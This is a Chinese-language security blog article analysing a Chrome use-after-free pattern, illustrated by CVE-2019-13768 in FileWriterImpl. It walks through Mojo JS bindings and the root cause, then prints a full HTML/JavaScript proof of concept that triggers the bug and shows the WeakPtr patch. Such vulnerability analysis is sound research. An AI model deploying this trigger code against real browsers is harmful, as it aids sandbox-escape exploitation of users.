Chrome UAF漏洞模式浅析（一）：user-defined callback-安全客

前序

本系列将简述一些chrome里相对经久不衰的UAF漏洞模式，并配以一个具体的漏洞分析。

基础知识

Chromium通过mojo来在不同的进程之间实现通信，具体的细节参考官方文档，这里笔者仅将我们需要用到的mojo js IDL部分单独摘出，以供参考。

Mojo JavaScript Bindings API

Getting Started

bindings API被定义在mojo namespace里，其实现在mojo_bindings.js

当bindings generator处理mojom IDL文件时，将会生成对应的mojom.js文件。

假设我们创建一个//services/echo/public/interfaces/echo.mojom文件和//services/echo/public/interfaces/BUILD.gn

module test.echo.mojom;

interface Echo {
  EchoInteger(int32 value) => (int32 result);
};

import("//mojo/public/tools/bindings/mojom.gni")

mojom("interfaces") {
  sources = [
    "echo.mojom",
  ]
}

通过构建如下生成target，来生成bindings。

foo_js JavaScript bindings; 被用在compile-time dependency.
foo_js_data_deps JavaScript bindings; 被用在run-time dependency.

如果我们编译这个target,这将生成几个source file

ninja -C out/r services/echo/public/interfaces:interfaces_js

其中与js binding相关的是

out/gen/services/echo/public/interfaces/echo.mojom.js

为了使用echo.mojom中的定义，您将需要使用<script>标签在html页面中包括两个文件：

mojo_bindings.js: 注意这个文件必须放在所有的.mojom.js文件之前。
echo.mojom.js

<!DOCTYPE html>
<script src="URL/to/mojo_bindings.js"></script>
<script src="URL/to/echo.mojom.js"></script>
<script>

var echoPtr = new test.echo.mojom.EchoPtr();
var echoRequest = mojo.makeRequest(echoPtr);
// ...

</script>

Interfaces

和C++ bindings API相同的是，我们有

mojo.InterfacePtrInfo和mojo.InterfaceRequest封装message pipe的两端，他们分别代表interface连接的client端和service端
对于每个Mojom interface Foo，这也生成一个FooPtr类，它保存一个InterfacePtrInfo，提供了使用InterfacePtrInfo中的message pipe handle发送interface call的方法。
mojo.Binding保存一个InterfaceRequest。它侦听message pipe handle，并将传入的message分发到user-defined的interface实现。

让我们考虑上面的echo.mojom示例。下面显示了如何创建Echo interface connection和使用它进行call。

<!DOCTYPE html>
<script src="URL/to/mojo_bindings.js"></script>
<script src="URL/to/echo.mojom.js"></script>
<script>

function EchoImpl() {}
EchoImpl.prototype.echoInteger = function(value) {
  return Promise.resolve({result: value});
  // Promise.resolve('foo')
  // 粗略可以理解成，但注意这并不严格等价，只是在这里可以这么理解
  // new Promise(resolve => resolve('foo'))
};

var echoServicePtr = new test.echo.mojom.EchoPtr();
var echoServiceRequest = mojo.makeRequest(echoServicePtr);
var echoServiceBinding = new mojo.Binding(test.echo.mojom.Echo,
                                          new EchoImpl(),
                                          echoServiceRequest);
echoServicePtr.echoInteger({value: 123}).then(function(response) {
  console.log('The result is ' + response.result);
});

</script>

Interface Pointer and Request

在上面的示例中,test.echo.mojom.EchoPtr是一个interface pointer类，它代表interface connection的client。对于Echo Mojom接口中的方法EchoInteger，在EchoPtr中定义了相应的echoInteger方法（注意，生成的method name的格式为camelCaseWithLowerInitial,即小驼峰,第一个字母小写)

这就是实际生成的echo.mojom.js

在上面的实例中，echoServiceRequest是一个InterfaceRequest实例，它代表接口连接的server。

mojo.makeRequest创建一个message pipe，用pipe的一端填充output参数（可以是InterfacePtrInfo或interface pointer）,返回包装在InterfaceRequest实例中的另一端。

  // |output| could be an interface pointer, InterfacePtrInfo or
  // AssociatedInterfacePtrInfo.
  function makeRequest(output) {
    if (output instanceof mojo.AssociatedInterfacePtrInfo) {
      var {handle0, handle1} = internal.createPairPendingAssociation();
      output.interfaceEndpointHandle = handle0;
      output.version = 0;

      return new mojo.AssociatedInterfaceRequest(handle1);
    }

    if (output instanceof mojo.InterfacePtrInfo) {
      var pipe = Mojo.createMessagePipe();
      output.handle = pipe.handle0;
      output.version = 0;

      return new mojo.InterfaceRequest(pipe.handle1);
    }

    var pipe = Mojo.createMessagePipe();
    output.ptr.bind(new mojo.InterfacePtrInfo(pipe.handle0, 0));
    return new mojo.InterfaceRequest(pipe.handle1);
  }

Binding an InterfaceRequest

mojo.Binding桥接了interface的实现和message pipe的一端，从而将传入的message从server端分派到该实现。

在上面的示例中，echoServiceBinding侦听message pipe上的传入的EchoInteger方法调用，并将这些调用分派到EchoImpl实例。

  // ---------------------------------------------------------------------------

  // |request| could be omitted and passed into bind() later.
  //
  // Example:
  //
  //    // FooImpl implements mojom.Foo.
  //    function FooImpl() { ... }
  //    FooImpl.prototype.fooMethod1 = function() { ... }
  //    FooImpl.prototype.fooMethod2 = function() { ... }
  //
  //    var fooPtr = new mojom.FooPtr();
  //    var request = makeRequest(fooPtr);
  //    var binding = new Binding(mojom.Foo, new FooImpl(), request);
  //    fooPtr.fooMethod1();
  function Binding(interfaceType, impl, requestOrHandle) {
    this.interfaceType_ = interfaceType;
    this.impl_ = impl;
    this.router_ = null;
    this.interfaceEndpointClient_ = null;
    this.stub_ = null;

    if (requestOrHandle)
      this.bind(requestOrHandle);
  }
  ...
  ...
    Binding.prototype.bind = function(requestOrHandle) {
    this.close();

    var handle = requestOrHandle instanceof mojo.InterfaceRequest ?
        requestOrHandle.handle : requestOrHandle;
    if (!(handle instanceof MojoHandle))
      return;

    this.router_ = new internal.Router(handle);

    this.stub_ = new this.interfaceType_.stubClass(this.impl_);
    this.interfaceEndpointClient_ = new internal.InterfaceEndpointClient(
        this.router_.createLocalEndpointHandle(internal.kPrimaryInterfaceId),
        this.stub_, this.interfaceType_.kVersion);

    this.interfaceEndpointClient_ .setPayloadValidators([
        this.interfaceType_.validateRequest]);
  };

Receiving Responses

一些mojom接口期待response，例如EchoInteger，对应的js方法返回一个Promise，当service端发回响应时，此Promise将被resolve，如果interface断开连接，则将被reject。

CVE-2019-13768 Chrome sandbox escape漏洞分析

https://bugs.chromium.org/p/project-zero/issues/detail?id=1755

Root Cause

该漏洞发生在Chrome的FileWriterImpl接口实现上。

首先我们先看一下FileWriter的IDL接口描述

// Interface provided to the renderer to let a renderer write data to a file.
interface FileWriter {
 // Write data from |blob| to the given |position| in the file being written
 // to. Returns whether the operation succeeded and if so how many bytes were
 // written.
 // TODO(mek): This might need some way of reporting progress events back to
 // the renderer.
 Write(uint64 position, Blob blob) => (mojo_base.mojom.FileError result,
                                       uint64 bytes_written);    //<-----------bug case

 // Write data from |stream| to the given |position| in the file being written
 // to. Returns whether the operation succeeded and if so how many bytes were
 // written.
 // TODO(mek): This might need some way of reporting progress events back to
 // the renderer.
 WriteStream(uint64 position, handle<data_pipe_consumer> stream) =>
       (mojo_base.mojom.FileError result, uint64 bytes_written);

 // Changes the length of the file to be |length|. If |length| is larger than
 // the current size of the file, the file will be extended, and the extended
 // part is filled with null bytes.
 Truncate(uint64 length) => (mojo_base.mojom.FileError result);
};

而FileWriter是被FileSystemManager管理的，其有一个CreateWriter方法，可以创建出FileWriter。

MakeRequest接收一个FileWriterPtr writer作为参数，创建一个message pipe，并将返回pipe的receiver端。而这里pipe的remote端就和FileWriterPtr writer绑定，等receiver端和FileWriterImpl实例绑定后，就可以通过writer来调用FileWriterImpl里的方法。

然后这里就通过MakeStrongBinding来将FileWriterImpl实例和刚刚创建出来的receiver绑定到一起，此时FileWriterImpl的生命周期和message pipe绑定，只要message pipe不断开，则FileWriterImpl永远不会被释放。

所以我们可以用断开message pipe的方法来析构掉这个对象，这也是生命周期管理不严谨的一种表现，FileWrite并没有被FileSystemManager来管理它的生命周期

然后通过std::move(callback).Run来将FileWriterPtr writer作为response返回给CreateWriter的调用者，这样调用者就可以通过writer来调用FileWriterImpl实例里的方法FileWriterImpl::Write了。

// Interface provided by the browser to the renderer to carry out filesystem
// operations. All [Sync] methods should only be called synchronously on worker
// threads (and asynchronously otherwise).
interface FileSystemManager {
 // ...

 // Creates a writer for the given file at |file_path|.
 CreateWriter(url.mojom.Url file_path) =>
     (mojo_base.mojom.FileError result,
      blink.mojom.FileWriter? writer);

 // ...
};

void FileSystemManagerImpl::CreateWriter(const GURL& file_path,
                                        CreateWriterCallback callback) {
 DCHECK_CURRENTLY_ON(BrowserThread::IO);
...
 blink::mojom::FileWriterPtr writer;
 mojo::MakeStrongBinding(std::make_unique<storage::FileWriterImpl>(
                             url, context_->CreateFileSystemOperationRunner(),
                             blob_storage_context_->context()->AsWeakPtr()),
                         MakeRequest(&writer));
 std::move(callback).Run(base::File::FILE_OK, std::move(writer));
}

从mojo接口可以看出FileWriterImpl::Write的第二个参数是一个BlobPtr。注意我们是可以在js层构造一个BlobPtr传入的

这里的base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this), std::move(callback), position));其实就是创建一个callback对象，在callback执行的时候，它将调用FileWriterImpl::DoWrite函数，并依次传入base::Unretained(this),std::move(callback), position)作为参数，对应于this,WriteCallback callback,uint64_t position

Write将调用GetBlobDataFromBlobPtr函数，并将一个用户可控的blob和FileWriterImpl::DoWrite callback传入，这里记做callback1。

void FileWriterImpl::Write(uint64_t position,
                          blink::mojom::BlobPtr blob,
                          WriteCallback callback) {
 blob_context_->GetBlobDataFromBlobPtr(
     std::move(blob),
     base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this),
                    std::move(callback), position));
}
...
void FileWriterImpl::DoWrite(WriteCallback callback,
                             uint64_t position,
                             std::unique_ptr<BlobDataHandle> blob) {
  ...
}

最后我们来看一下GetBlobDataFromBlobPtr函数，其调用raw_blob->GetInternalUUID函数，因为blob是我们传入的，所以GetInternalUUID也是对应我们自己定义好的js函数，它只需要满足mojo idl接口即可，将一个string uuid作为response返回。

此时我们就可以回调到js里，并在js函数GetInternalUUID里将之前建立好的message pipe给断开，从而析构掉之前创建出的FileWriterImpl对象

// This interface provides access to a blob in the blob system.
interface Blob {
 // Creates a copy of this Blob reference.
 Clone(Blob& blob);
// This method is an implementation detail of the blob system. You should not
 // ever need to call it directly.
 // This returns the internal UUID of the blob, used by the blob system to
 // identify the blob.
 GetInternalUUID() => (string uuid);
}
...
...
  function BlobImpl() {
    this.binding = new mojo.Binding(blink.mojom.Blob, this);
  }

  BlobImpl.prototype = {
    clone: async (arg0) => {
      console.log('clone');
    },
    asDataPipeGetter: async (arg0, arg1) => {
      console.log("asDataPipeGetter");
    },
    readAll: async (arg0, arg1) => {
      console.log("readAll");
    },
    readRange: async (arg0, arg1, arg2, arg3) => {
      console.log("readRange");
    },
    readSideData: async (arg0) => {
      console.log("readSideData");
    },
    getInternalUUID: async (arg0) => {
      console.log("getInternalUUID");
      create_writer_result.writer.ptr.reset();
      return {'uuid': 'blob_0'};
    }
  };

回到raw_blob->GetInternalUUID，其参数是一个callback，这里记做callback2，callback2最终就是调用callback1，并将从uuid得到的BlobData，作为callback1，即DoWrite的最后一个参数std::unique_ptr<BlobDataHandle> blob。

...
void BlobStorageContext::GetBlobDataFromBlobPtr(
    blink::mojom::BlobPtr blob,
    base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback) {
  DCHECK(blob);
  blink::mojom::Blob* raw_blob = blob.get();
  raw_blob->GetInternalUUID(mojo::WrapCallbackWithDefaultInvokeIfNotRun(
      base::BindOnce(
          [](blink::mojom::BlobPtr, base::WeakPtr<BlobStorageContext> context,
             base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback,
             const std::string& uuid) {
            ...
            std::move(callback).Run(context->GetBlobDataFromUUID(uuid));
          },//---> 类似于函数指针
          std::move(blob), AsWeakPtr(), std::move(callback)),
      ""));
}

现在我们将调用callback1回调FileWriterImpl::DoWrite，而此时，因为FileWriterImpl实例已经在回调到js里时析构掉了，所以就触发了UAF。

这个漏洞的一个关键就是callback1的参数base::Unretained(this)，被Unretained修饰的this指针，只由回调的调用者来保证回调执行时，this指针仍然可用。

这里如果换成WeakPtr，那么在this被析构后，回调就不会被执行。

poc

<html>
  <body>
    <script src="/mojo_bindings.js"></script>
    <script src="/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
    <script src="/third_party/blink/public/mojom/filesystem/file_system.mojom.js"></script>
    <script>
(async function poc() {
  let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
  Mojo.bindInterface(blink.mojom.BlobRegistry.name,
                     mojo.makeRequest(blob_registry_ptr).handle, "process");

  function BytesProviderImpl() {
    this.binding = new mojo.Binding(blink.mojom.BytesProvider, this);
  }

  BytesProviderImpl.prototype = {
    requestAsReply: async () => {
      console.log('requestAsReply');
    },
    requestAsStream: async (arg0) => {
      console.log('requestAsStream');
    },
    requestAsFile: async (arg0, arg1, arg2, arg3) => {
      console.log('requestAsFile');
    }
  };

  base_bytes = new BytesProviderImpl();
  base_bytes_ptr = new blink.mojom.BytesProviderPtr();
  base_bytes.binding.bind(mojo.makeRequest(base_bytes_ptr));

  let base_blob_element = new blink.mojom.DataElement();
  base_blob_element.bytes = new blink.mojom.DataElementBytes();
  base_blob_element.bytes.length = 2;
  base_blob_element.bytes.embeddedData = [0x41, 0x41];
  base_blob_element.bytes.data = base_bytes_ptr;

  let base_blob_ptr = new blink.mojom.BlobPtr();
  let base_blob_req = mojo.makeRequest(base_blob_ptr);
  blob_registry_ptr.register(base_blob_req, "blob_0", "text/html", "", [base_blob_element]);

  let file_system_manager_ptr = new blink.mojom.FileSystemManagerPtr();
  Mojo.bindInterface(blink.mojom.FileSystemManager.name,
                   mojo.makeRequest(file_system_manager_ptr).handle, "process");

  let host_url = new url.mojom.Url();
  host_url.url = 'http://localhost:7007';

  let open_result = await file_system_manager_ptr.open(host_url, 0);
  console.log(open_result);

  let file_url = new url.mojom.Url();
  file_url.url = open_result.rootUrl.url + '/pwned';

  let create_writer_result = await file_system_manager_ptr.createWriter(file_url);
  console.log(create_writer_result);

  function BlobImpl() {
    this.binding = new mojo.Binding(blink.mojom.Blob, this);
  }

  BlobImpl.prototype = {
    clone: async (arg0) => {
      console.log('clone');
    },
    asDataPipeGetter: async (arg0, arg1) => {
      console.log("asDataPipeGetter");
    },
    readAll: async (arg0, arg1) => {
      console.log("readAll");
    },
    readRange: async (arg0, arg1, arg2, arg3) => {
      console.log("readRange");
    },
    readSideData: async (arg0) => {
      console.log("readSideData");
    },
    getInternalUUID: async (arg0) => {
      console.log("getInternalUUID");
      create_writer_result.writer.ptr.reset();
      return {'uuid': 'blob_0'};
    }
  };

  let blob_impl = new BlobImpl();
  let blob_impl_ptr = new blink.mojom.BlobPtr();
  blob_impl.binding.bind(mojo.makeRequest(blob_impl_ptr));

  create_writer_result.writer.write(0, blob_impl_ptr);
})();
    </script>
  </body>
</html>

patch

   blob_context_->GetBlobDataFromBlobPtr(
       std::move(blob),
-      base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this),
+      base::BindOnce(&FileWriterImpl::DoWrite, weak_ptr_factory_.GetWeakPtr(),
                      std::move(callback), position));

补丁就是把base::Unretained(this)换成了weak_ptr_factory_.GetWeakPtr()，这样如果当前FileWriterImpl实例被析构掉了，则&FileWriterImpl::DoWrite回调不会被调用。

后记

本篇主要是笔者以前分析漏洞时候的笔记摘录修改，如有不明确之处，欢迎斧正。

Chrome UAF漏洞模式浅析（一）：user-defined callback

译文声明

前序

基础知识

Mojo JavaScript Bindings API

Getting Started

Interfaces

Interface Pointer and Request

Binding an InterfaceRequest

Receiving Responses

CVE-2019-13768 Chrome sandbox escape漏洞分析

Root Cause

poc

patch

后记

发表评论

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